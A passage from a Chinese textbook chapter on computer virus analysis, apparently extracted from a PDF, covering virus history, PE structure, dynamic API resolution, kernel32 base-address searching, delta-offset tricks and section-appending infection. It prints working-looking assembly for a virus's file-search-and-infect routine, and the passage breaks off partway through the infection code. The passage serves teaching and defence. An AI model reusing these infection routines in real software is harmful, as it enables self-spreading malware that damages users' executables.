1、第3章 病毒分析本章介绍病毒的原理与所使用的技术,以及防止病毒的方法: 常见病毒的原理; 可执行文件病毒修改文件的方法; 可执行文件病毒使用的常用技术; 优化可执行文件防病毒; 文件过滤驱动在反病毒上的应用。这是本章涉及的问题。1.1 病毒概述“计算机病毒”最早是由美国计算机病毒研究专家 F.Cohen 博士提出的。“计算机病毒”有很多种定义,国外流行的定义为:是一段附着在其他程序上的可以实现自我繁殖的程序代码。在中华人民共和国计算机信息系统安全保护条例中的定义为:“计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。
2、世界上第一例被证实的计算机病毒是在 1983 年,出现了计算机病毒传播的研究报告。同时有人提出了蠕虫病毒程序的设计思想;1984 年,美国人 Thompson 开发出了针对 UNIX 操作系统的病毒程序。1988 年 11 月 2 日晚,美国康尔大学研究生罗特莫里斯将计算机病毒蠕虫投放到网络中。该病毒程序迅速扩展,造成了大批计算机瘫痪,甚至欧洲联网的计算机都受到影响,直接经济损失近亿美元。计算机病毒是人为编写的,具有自我复制能力,是未经用户允许执行的代码。一般正常的程序是由用户调用,再由系统分配资源,完成用户交给的任务。其目的对用户是可见的、透明的。而病毒具有正常程序的一切特性,它隐藏在正常程
3、序中,当用户调用正常程序时窃取到系统的控制权,先于正常程序执行,病毒的动作、目的对用户时未知的和未经用户允许的。它的主要特征有传染性、隐蔽性、潜伏性、破坏性和不可预见性。传染性是病毒最重要的一条特性。按照计算机病毒侵入的系统分类,分为 DOS 系统下的病毒、Windows 系统下的病毒、UNIX 系统下的病毒和 OS/2 系统下的病毒。按照计算机病毒的链接方式分类可分为源码型病毒、嵌入型病毒、外壳型病毒。按照传播介质分类,可以分为可分为单机病毒和网络病毒。随着 Windows 系统的发展,引导型病毒已经不再,宏病毒也少见。目前见得多的是第 3 章 病毒分析 277 感染本机可执行文件的 PE
4、病毒和通过网络在计算机之间传播的蠕虫病毒比较常见。1.2 PE 病毒分析Windows 下常见的可执行文件,一种是二进制文件,就是扩展名为 exe、dll 、src和 sys 等的文件,它们的执行是由 explorer.exe(资源管理器)、cmd.exe(控制台,类似 DOS 界面)或其它程序调用执行的。另一种是文本格式文件,例如扩展名为 htm 和html,可以由 iexplorer.exe 调用,由 script.exe 来解释执行的文件。从 Windows2000 以后,其二进制文件文件为 PE 结构。PE 的意思就是可移植的执行体(Portable Executable),它是 Wi
5、ndows 的 32 位环境自身所带的执行体文件格式。它的一些特性继承自 Unix 的 Coff (common object file format)文件格式,同时为了保证与旧版本 MS-DOS 及 Windows 操作系统的兼容,PE 文件格式也保留了 MS-DOS 中那熟悉的 MZ 头部。病毒能够感染 PE 文件,因为病毒设计者深知其结构。1.2.1 PE 病毒常用技术病毒也和正常的应用程序一样,涉及到函数的调用和变量的使用。1、调用 API 函数的方法API 是“Application Programming Interface”的英文缩写,很象 DOS 下的中断。中断是系统提供的功能
6、,在 DOS 运行后就被装载在内存中,而 API 函数是当应用程序运行时,通过将函数所在的动态连接库装载到内存后调用函数的。请大家先在 MSDN 的“索引”中输入函数“MessageBox”然后回车,就可以查到该函数的使用方法。MSDN 是微软提供的开发帮助,是在 Windows 下编程必备的资料文件。在 Windows 下设计应用程序不直接或间接使用 API 是不可能的,有些高级语言看似没有使用 API,只不过它们提供的模块对 API 进了封装。API 的使用分为静态和动态使用两种方式。在源程序中调用 API 两种方式都可以使用,但对未公开 API 因为无相应的头文件,只能使用动态方式。下面
7、以 VC+中调用MessageBox 说明两种方式的区别。(1) 静态方式char note_inf=”谢谢使用”;char note_head=”提示信息”;:MessageBox(0, note_inf, note_head,MB_OK); /:表示全局函数反汇编结果如图 3-1。“PUSH 00000000”对应的是 MB_OK 常量入栈,“PUSH 文档安全 278 0040302C”对应的是一个字符串的偏移地址入栈,“PUSH 00403020”对应的是另一个字符串偏移地址的入栈,第 2 行“PUSH 00000000”对应窗口句柄入栈。当程序执行时,装载器会将 user32.dll
8、 装载到应用程序虚拟空间,同时将 MessageBoxA(对应 ANSI 格式,另一种为 UNICODE 格式,用 MessageBoxW 表示。这是因为函数的参数有字符串,而字符串有两种格式所致)的入口地址填充到虚拟地址 004021B8h。虚拟地址 004021B8h 是由 PE 头中 IMAGE_DATA_DIRECTORY 数组来定位的,当编译器生成 PE 文件时就计算好了。图 3-1 API 的汇编调用(2) 动态方式动态方式先定义函数指针,使用函数 LoadLibrary 装载要调用的函数所在的dll 文件,获取模块句柄。然后调用 GetProcAddress 获取要调用的函数的地
9、址。void CTestDlg:OnButton/定义 MessageBox 函数指针typedef int (WINAPI *_MessageBox)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );/定义 MessageBox 指针变量_MessageBox new_MessageBox; /装载 MessageBox 函数所在 dll 文件HINSTANCE hb=LoadLibrary(“user32.dll“);/获取 ANSI 格式的 MessageBox 函数地址new_MessageBox=(_Message
10、Box)GetProcAddress(hb,“MessageBoxA“);/动态调用函数 MessageBox第 3 章 病毒分析 279 new_MessageBox(0,“欢迎使用!“,“提示信息“,MB_OK);/释放 MessageBox 函数所在模块CloseHandle(hb);动态方式是在需要调用函数时才将函数所在模块调入到内存的,同时也不需要编译器为该函数在导入表中建立相应的项。2、病毒调用 API 函数病毒要完成相应的功能,不可能不调用 API 函数。病毒感染 PE 文件可能是在源程序中加入病毒代码,但多数是在生成 PE 文件后通过修改 PE 文件感染的。对后种情况,病毒难以
11、去为使用的 API 建立导入表项,只有使用第动态方式调用 API。动态使用 API的前提是预先知道 LoadLibrary 和 GetProcAddress 的地址,可以预先设定或搜索 API的地址实现。一个正常的Windows程序,它至少需要调用模块kernel32.dll,因为应用程序正常退出时需要调用函数ExitProcess,而该函数位于模块kernel32.dll内。然而函数LoadLibrary和GetProcAddress也位于模块kernel32.dll内。既然模块kernel32.dll总在内存,如果我们知道这两个函数地址,直接调用就可以了。(1) 检测函数地址先用间接方式检
12、测函数的地址,代码如下,结果见图3-2。void CTestDlg:OnButton1() /定义函数LoadLibrary和GetProcAddress的原型typedef HINSTANCE (WINAPI *_LoadLibrary)(LPCTSTR lpLibFileName );typedef FARPROC (WINAPI *_GetProcAddress)(HMODULE hModule, LPCSTR lpProcName );/定义指针_LoadLibrary new_LoadLibrary; _GetProcAddress new_GetProcAddress;/装载函数所
13、在模块kernel32.dllHINSTANCE hb=LoadLibrary(“kernel32.dll“);/获取函数首地址new_LoadLibrary=(_LoadLibrary)GetProcAddress(hb,“LoadLibraryA“);new_GetProcAddress=(_GetProcAddress)GetProcAddress(hb,“GetProcAddress“);文档安全 280 /显示结果CString inf;inf.Format(“LoadLibrary =%XhrnGetProcAddress=%Xh“,new_LoadLibrary,new_GetP
14、rocAddress);:MessageBox(0,inf,“地址信息“,MB_OK);CloseHandle(hb);图3-2 取函数地址(2) 在程序中直接使用函数地址如下的代码直接使用函数LoadLibrary和GetProcAddress地址,然后用它们动态调用函数MessageBox,执行的结果是显示信息框。void CTestDlg:OnButton2() /定义MessageBox原型typedef int (WINAPI *_MessageBox)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );char f
15、unName=“MessageBoxA“;/定义地址DWORD LoadLibraryAddr =0x77E80221;DWORD GetProcAddressAddr =0x77E80CAB;_MessageBox new_MessageBox; /定义函数所在模块名HINSTANCE hb;第 3 章 病毒分析 281 char dllName=“user32.dll“;_asm ;VC+中嵌入汇编代码lea eax, dllNamepush eaxmov ebx, LoadLibraryAddrcall ebx ;调用LoadLibrary获取shell32.dll模块句柄mov hb,
16、 eax/直接使用地址lea eax,funNamepush eax push hbmov ebx, GetProcAddressAddr ;调用LoadLibrary获取shell32.dll模块句柄call ebxmov new_MessageBox, eax/动态调用MessageBox,显示信息框new_MessageBox(0,“欢迎使用!“,“提示信息“,MB_OK);CloseHandle(hb);预先设定API地址使代码比较短,但只能局限在某个操作系统版本下运行,也必须先保证它所在模块在内存中。同一个API函数,在不同的系统下的地址可能不相同。该方法,也叫“预编码”技术。(3)
17、 搜索API地址只需要从虚拟内存搜索到LoadLibrary和GetProcAddress的地址,用这两个函数就可以获取其它函数的地址。前面已经介绍过,一般程序都会加载LoadLibrary和GetProcAddress所在的库文件kernel32.dll,那么在内存中搜索kernel32.dll所在基地址,然后再分析kernel32.dll的PE结构,就可以找到LoadLibrary和GetProcAddress的地址。分析多个Windows系统,可以知道kernel32.dll加载的大致地址,比如根据在9X下其加载地址是0xBFF70000,在Windows 2000下加载基址是0x77E
18、80000,然后可由该地址向高地址搜索可以找到其基址。也可以由高地址到低地址开始搜索,搜索开始的地址由程序入口处的ESP获得。程序装载器调用一个程序后将程序的返回地址入栈,然后转去执行该程序。经反汇编证明,返回地址是属于Kernel32.dll模块中。由于内存属性决定,有些内存可能因未分配而不能读,如果读它,将导致出错。为避免因错误而程序不能继续,必须使用SEH处理。SEH(“Structured Exception Handling”)即结构化异常处理,是Windows操作系统提供给程序设计者的强有力的处理程序错误或异常的武器,有些类文档安全 282 似于VISUAL C+中使用的_try
19、_finally 和_try _except。后面的例子使用了从这些地址向高地址搜索的方法。如果搜索到Kernel32.DLL的加载地址,其头部一定是“MZ”标志,由模块起始偏移0x3C的双字确定e_lfanew,再由e_lfanew找到的PE头部标志必然是“PE”,因此可根据这两个标志判断是否找到了模块加载地址。经实验证明,该判断方法非常可靠,基本不会出现错误。因为所有版本的Windows系统下Kernel32.DLL的加载基址都是按照0x1000对齐的,根据这一特点可以不必逐字节搜索,按照0x1000对齐的边界地址搜索即可。以由程序入口处的ESP为例,方法如下。下面的代码搜索 LoadLi
20、brary 和 GetProcAddress 的地址。.586p.model flat, stdcalloption casemap :none ; case sensitiveinclude masm32includewindows.incinclude masm32includekernel32.incincludelib masm32libkernel32.libinclude masm32includeuser32.incincludelib masm32libuser32.lib GetApiAddress PROTO :DWORD,:DWORD .dataKernel32Addr
21、dd ?ExportKernel dd ? GetProcAddr dd ?LoadLibraryAddr dd ?aGetProcAddr db “GetProcAddress“,0GetProcAddLen equ $-aGetProcAddr-1 aLoadLibrary db “LoadLibraryA“,0LoadLibraryLen equ $-aLoadLibrary-1 szTitle db “检测结果“,0temp1 db “Kernel32.dll 基本地址:%8x“,0dh,0ahdb “LoadLibrary 地址 :%8x“,0dh,0ahdb “GetProcAdd
22、ress 地址 :%8x“,0dh,0ah,0temp2 db 256 dup(?).codemain:Start:mov esi, esp ; esi 为返回地址所在的页,例若esp=77e78f94h,esi=77e78000h第 3 章 病毒分析 283 and esi,0fffff000h ;转换为 1000h 字节的倍数LoopFindKernel32:sub esi,1000h cmp word ptresi,ZM ; 搜索 EXE 文件头jnz short LoopFindKernel32GetPeHeader:mov edi,dword ptresi+3ch ; 偏移 3ch
23、处为“PE“add edi,esicmp word ptredi,4550h ; 确认是否 PE 文件头jnz short LoopFindKernel32 ;esi-kernel32,edi-kernel32 PE HEADER mov Kernel32Addr,esi ;获得 Kernel32.dll 中的所需的 Api 的线性地址:invoke GetApiAddress, Kernel32Addr, addr aLoadLibrarymov LoadLibraryAddr, eaxinvoke GetApiAddress, Kernel32Addr, addr aGetProcAddr
24、mov GetProcAddr, eaxinvoke wsprintf,addr temp2,addr temp1,Kernel32Addr,LoadLibraryAddr,GetProcAddrinvoke MessageBoxA,0,addr temp2,addr szTitle,0invoke ExitProcess, 0;*;函数功能:从内存中 Kernel32.dll 的导出表中获取某个 API 的入口地址;*GetApiAddress proc uses ecx ebx edx esi edi hModule:DWORD, szApiName:DWORDLOCAL dwReturn
25、: DWORDLOCAL dwApiLength: DWORDmov dwReturn, 0;计算 API 字符串的长度(带尾部的 0)mov esi, szApiNamemov edx, esiContinue_Searching_Null:cmp byte ptr esi, 0 ; 是否为 Null-terminated char ?jz We_Got_The_Length ; Yeah, we got it. :)inc esi ; No, continue searching.jmp Continue_Searching_Null ; searching.We_Got_The_Leng
26、th:inc esi ; 呵呵, 别忘了还有最后一个“0”的长度。文档安全 284 sub esi, edx ; esi = API Name sizemov dwApiLength, esi ; dwApiLength = API Name size;从 PE 文件头的数据目录获取输出表的地址mov esi, hModuleadd esi, esi + 3chassume esi: ptr IMAGE_NT_HEADERSmov esi, esi.OptionalHeader.DataDirectory.VirtualAddressadd esi, hModuleassume esi:ptr
27、 IMAGE_EXPORT_DIRECTORY; esi 指向 Kernel32.dll 的输出表;遍历 AddressOfNames 指向的数组的 RVA 对应的函数名字符串;AddressOfNames 为 RVA,指向一个 RVA 数组;数组为 DWORD 类型 ,是 RVA 值,指向函数名字符串;用字符串名描述的函数的个数在 NumberOfNames,包括序号引;出的总数在 AddressOfFunctionsmov ebx, esi.AddressOfNamesadd ebx, hModule ;AddressOfNames 是 RVA,还要加上基地址xor edx, edx ;e
28、dx=函数计数值,初始化为 0,每查一个函数的 RVA,加1.repeatpush esi ;保存 esi,后面会用到mov edi, ebx ;edi=导出表中函数字符串的 RVAadd edi, hModule ;别忘了加上基地址mov esi, szApiName ;函数名字的首地址mov ecx, dwApiLength ;函数名字的长度cld ;设置方向标志 DF=0,地址递增repz cmpsb ;比较字符串,直到 CX=0.if ZERO? ;ZF=1,找到了pop esi ;恢复 esijmp _Find_Index ;查找该函数的地址索引.endifpop esi ;恢复 e
29、siadd ebx, 4 ;下一个函数名的 RVA(每个函数占用 4 个字节)inc edx ;增加函数计数.until edx = esi.NumberOfNames ;函数个数已经大于记数的总数NumberOfNames第 3 章 病毒分析 285 jmp _Exit ;没找到,退出;得到 ebx 为 RVA 值,ebx+hModule 指向函数字符串;函数名称索引 - 序号索引 - 地址索引;公式:APIs 地址 = ( API 的序号*4)+AddressOfFunctions 的 VA + Kernel32基地址_Find_Index:sub ebx, esi.AddressOfNa
30、mes ;esi 就指向了下一个函数的首地址,所以要先减掉它sub ebx, hModule ;减掉基地址,得到 RVAshr ebx, 1 ;要除以 2 ,还是因为 repz cmpsb 那行add ebx, esi.AddressOfNameOrdinals ;AddressOfNameOrdinals 是 RVA,指向;包含 16 位函数序号的数组add ebx, hModule ;要加基地址;函数序号*2+AddressOfFunctions+hModule 为函数地址值的地址movzx eax, word ptr ebx ;eax = API 的序号shl eax, 2 ;要乘以 4
31、 才得到偏移add eax,esi.AddressOfFunctions ;加 AddressOfFunctions 的 VAadd eax, hModule ;别忘了基地址;从地址表得到导出函数地址mov eax, eax ;得到函数的 RVAadd eax, hModule ;别忘了基地址mov dwReturn, eax ;最终得到的函数的线性地址_Exit:mov eax, dwReturn ;函数地址retGetApiAddress endpend main显示结果如图 3-3。文档安全 286 图 3-3 搜索到的 API 地址3、 病毒使用变量学汇编时我们知道,当寄存器不够用,所
32、以要使用变量。病毒代码侵入到可执行文件中的位置对于不同的可执行文件是不同的。在下面的代码中,病毒源程序中有DWORD 类型变量 x,编译后设变量的偏移地址为 00401002h,则其实际表示方式为mov eax, 00401002h。.386.model flat, stdcalloption casemap :none ; case sensitive.data.codejmp f ;f 表示下一个标号,指 x dd 1234h:mov eax, x如果将 jmp 语句开始的代码(偏移为 00401000h)附加到图 3-4 显示两种程序后面,设程序 1 的偏移为 100h,程序 2 的偏移
33、为 200h。附加后代码反汇编,指令 jmp 没有问题,因为它的机器码为 EB04h,EB 是 jmp 指令,04 是跨距。拷贝到新位置后 jmp 后的 eip变了,所以 jmp 后面的跳转位置也相应地变了。变量 x 的偏移变成了 102h 和 202h,但后面取变量的指令也应该相应地变成“mov eax,dword ptr102h”和“mov eax,dword ptr202h”,但仍然没有变,肯定会产生错误。第 3 章 病毒分析 287 图 3-4 附加代码现在尝试作以下修改。.386.model flat, stdcalloption casemap :none ; case sensi
34、tive.data.codecall F ;f表示下最近的一个标号, 指:pop ebxsub ebx, offset Bjmp f ;f表示最近的下一个标号,指x dd 12345678h:mov eax, ebx+x反汇编后代码::00401000 E800000000 call 00401005:00401005 5B pop ebx:00401006 81EB05104000 sub ebx, 00401005:0040100C EB04 jmp 00401012:0040100E 3412 :00401010 7856 :00401012 8B830E104000 mov eax,
35、dword ptr ebx+0040100E从这段代码看到,此时的 x 的地址是 0040100Eh。call 00401005 执行后再执行 pop ebx 后,ebx 等于 00401005h,执行 sub ebx, 00401005 后, ebx 为 0。那么最后得到的 bx的地址 ebx+0040100E 即 0040100Eh。因为病毒加入到 PE 文件中的位置是不固定的,但不管怎么变,ebx 也跟着变,最后总能得到 x 的地址。文档安全 288 1.2.2 病毒修改可执行文件方法病毒可能以三种方式对 PE 文件进行修改,也可能进行压缩或加密。修改的三种方式分别为添加节、扩展节和插入
36、节,下面分别介绍其原理,并以相应的代码予以说明。1、添加节方式修改 PE所谓添加节就是在文件的最后建立一个新节,同时在节表结构的后面建立一个节表,用以描述该节。程序的入口地址被修改为指向最后含有病毒代码的节。原理如图 3-5。图 3-5 添加节方式我们先演示一个程序,在图 3-6 中显示有 5 个可执行文件,其大小分别为4K、20K、55K、11K、16K 字节。有一天,发现该目录下有几个文件感染了 SD-1 号病毒,程序运行时先弹出一个信息框,如图 3-7,再运行原来的程序,同时发现病毒在同目录下修改了一个文件。图 3-7 及后面的几个图的标题上有设计者名字,为避免误解,擦去了。图 3-6
37、被感染前第 3 章 病毒分析 289 图 3-7 感染后显示信息再观察目录下文件大小的变化,如图 3-8。可以看到,文件 Insert.exe 大小成为了24KB, Xmu.exe 成为了 18KB。它们的字节数增加了,其它两个可执行文件大小没有变化,运行也没有感染。可见,该种感染方式修改了可执行文件大小。图 3-8 感染后的文件运用前面设计的 PE 文件分析工具,可以观察其结构的变化。以 Insert.exe 为例,感染前如图 3-9,感染后如图 3-10。程序大小为 0x6000 字节,比感染前增加了 0x1000 字节。有 5 个节,比原来增加了1 个节,增加的节名为第五个节,节名为.S
38、D-1。入口地址 RVA 为 0x55C1,而第 5 节的起始 RVA 为 0x5000,占用空间大小为 0x1000,可见入口地址在第 5 节内。由以上分析可知,该种感染方式的特点是: 增加一个新节,为病毒部分。 程序的大小发生变化。 程序的入口地址发生变化。文档安全 290 图 3-9 感染前结构分析可以看到,程序的大小为 0x5000 字节,共有四个节,节名分别为.text、 .rdata、.data 和.rsrc。程序的 RVA 入口地址在 0x1730,而第一节的内存偏移地址RVA 为 0x1000,占用 0x1000 字节,可见入口地址在第一节内。再从图 3-10 来分析感染后的
39、Insert.exe。第 3 章 病毒分析 291 图 3-10 感染后结构分析现在我们再来从代码的角度分析其病毒的感染原理。(1) 病毒寻找 exe 文件SearchFile2 proc ;定义局部变量LOCAL lpName6: BYTE ;作参数,描述要搜寻的文件类型LOCAL st: WIN32_FIND_DATA ;搜寻文件函数需使用的结构变量LOCAL handle: DWORD ;存放文件句柄pushad ;保护所有寄存器,保证函数调用结束后寄存器不变文档安全 292 ;初始化 lpName,使其内容为“*.exe”mov al, *mov lpName, al mov al,
40、.mov lpName+1, almov al, emov lpName+2, almov al, xmov lpName+3, almov al, emov lpName+4, almov al, 0mov lpName+5, al;调用 FindFirstFile 函数invoke ebx+_FindFirstFile, ADDR lpName, ADDR stmov handle, eax.if eax = INVALID_HANDLE_VALUE ;失败则返回jmp _Exit0.endifmov esi, TRUE;循环查找 exe 文件;文件名在st.cFileName.while
41、 esi = TRUE invoke ebx+_FindNextFile, handle, ADDR stmov esi, eax ;找到,则 FindNextFile 返回 TRUE,否则为 FALSE,循环结束.break .if esi = FALSE ;若返回值为 FALSE,退出;必须,否则最后文件被找到两次 invoke ProcessPeFile3,ADDR st.cFileName ;调用该函数感染一个文件mov ecx, eax.break .if ecx = -1 ;感染一个文件以后退出。此处看出每次只感染一个文件 .endwinvoke ebx+_FindClose, h
42、andle ;搜寻结束_Exit0: popad ;恢复所有寄存器retSearchFile2 endp第 3 章 病毒分析 293 这段代码很类似于前面用 C+写的代码。(2) 病毒修改 exe 文件函数Align2 计算按照指定值对齐后的数值。程序中的节是需要考虑到文件对齐和内存对齐的。假设原来文件对齐粒度 SectionAlignment 为 0x1000,病毒代码长为0x1780,则对齐后长为 0x2000。通过执行 invoke Align2, 1780h, 1000,返回值为2000h。Align2 proc _dwSize, _dwAlignpush edxmov eax, _d
43、wSizexor edx, edxdiv _dwAlign.if edxinc eax.endifmul _dwAlignpop edxretAlign2 endp函数ProcessPeFile3 完成此功能,代码如下。;感染文件函数,文件名在 f_Name 指向的缓冲区ProcessPeFile3 proc f_Name ;定义局部变量local hFile, dwTemp, dwEntry, lpMemory, OldEntry ;分别用作文件句柄、;临时变量、入口地址、内存指针、原程序入口地址local fTemp0, dwFileSize, pNewSec ;分别用作临时变量、文件大小
44、、内存指针local flags: DWORD ;是否成功感染的标志pushad ;保护所有寄存器mov flags, 0 ;初始化,为 0 表示没感染;*; 以读写方式打开文件 f_Name,打开失败则退出;*invoke ebx+_CreateFile, f_Name, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULLmov hFile, eax ;得到文件句柄.ifeax = INVALID_HANDLE_
45、VALUE 文档安全 294 jmp _Exit0 ;失败,退出.endif;*; 取文件长度,为 0 则返回;*invoke ebx+_GetFileSize, hFile, NULLmov dwFileSize,eax.if eax = 0jmp _Exit1 ;文件为 0,无法感染,退出.endif;*; 分配内存,得到内存指针lpMemory;*invoke ebx+_GlobalAlloc, GPTR, dwFileSizemov lpMemory, eax ;内存指针.if eax = 0 ;分配内存失败, 退出jmp _Exit1.endif;*; 读文件到内存lpMemory,长度为dwFileSize;*invoke ebx+_ReadFile, hFile, lpMemory, dwFileSize, ADDR fTemp0, NULL;*mov esi, lpMemory ;内存指针赋值给 esiassumeesi:ptr IMAGE_DOS_HEADER ;esi 指向 DOS 头.if word ptresi.e_magic!=5A4DH ;判断前面两个字节是否有“MZ“jmp _Exit2 ;无 MZ 标志,则不是 exe 文件,返回.endifmov eax, esi.e_l